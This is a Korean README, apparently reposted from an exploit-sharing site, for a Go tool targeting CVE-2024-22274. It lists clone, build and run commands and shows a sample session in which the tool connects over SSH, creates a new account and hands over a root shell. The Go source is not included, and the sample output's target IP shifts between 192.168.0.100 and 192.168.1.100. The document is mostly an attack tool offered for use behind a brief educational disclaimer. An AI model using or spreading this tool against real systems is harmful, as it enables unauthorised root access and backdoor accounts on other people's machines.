CVE-2024-22274 익스플로잇

이 저장소는 CVE-2024-22274에 대한 익스플로잇을 포함하고 있습니다. 이 익스플로잇은 SSH를 통해 원격 시스템에 새 사용자를 생성한 후 루트 셸을 제공합니다.

요구 사항

• Go (Golang)가 시스템에 설치되어 있어야 합니다. 여기에서 다운로드할 수 있습니다.
• SSH 접근이 가능한 원격 시스템.

컴파일

1. 저장소를 클론합니다:

   root@kitploit:~

   git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git
   cd CVE-2024-22274-RCE
   

2. 필요한 패키지를 설치합니다:

   root@kitploit:~

   go mod init cve-2024-22274
   go mod tidy
   go get golang.org/x/crypto/ssh
   go get golang.org/x/term
   

3. Go 프로그램을 컴파일합니다:

   root@kitploit:~

   go build -o cve-2024-22274-rce main.go
   

사용법

1. 컴파일된 프로그램을 실행합니다:

   root@kitploit:~

   ./cve-2024-22274-rce
   

2. 프롬프트에 따라 입력합니다:

   • 대상 시스템의 호스트 주소를 입력합니다.
   • SSH 포트를 입력합니다 (기본값은 22).
   • 대상 시스템의 SSH 사용자 이름을 입력합니다.
   • 대상 시스템의 SSH 비밀번호를 입력합니다.
   • 생성할 새 사용자 이름을 입력합니다.
   • 새 사용자의 비밀번호를 입력합니다.

3. 사용자가 생성된 후, 대상 시스템에서 루트 셸을 얻게 됩니다. 새 사용자로 명령어를 실행할 수 있습니다.

예시

[+] CVE-2024-22274 by Mustafa
[-] Enter host address: 192.168.0.100
[-] Enter port (default 22): 22
[-] Enter SSH username: root
[-] Enter SSH password: ********
[-] Enter new username: newuser
[-] Enter new password: ********
[+] Connected to 192.168.1.100 via SSH
[+] Created user newuser on 192.168.1.100
[+] Connected user newuser via SSH
[+] Root-shell# (type 'exit' to quit): 

면책 조항 이 코드는 교육 목적으로만 제공됩니다. 책임감 있게 사용하고, 테스트할 권한이 있는 시스템에서만 사용하세요.

라이선스 이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.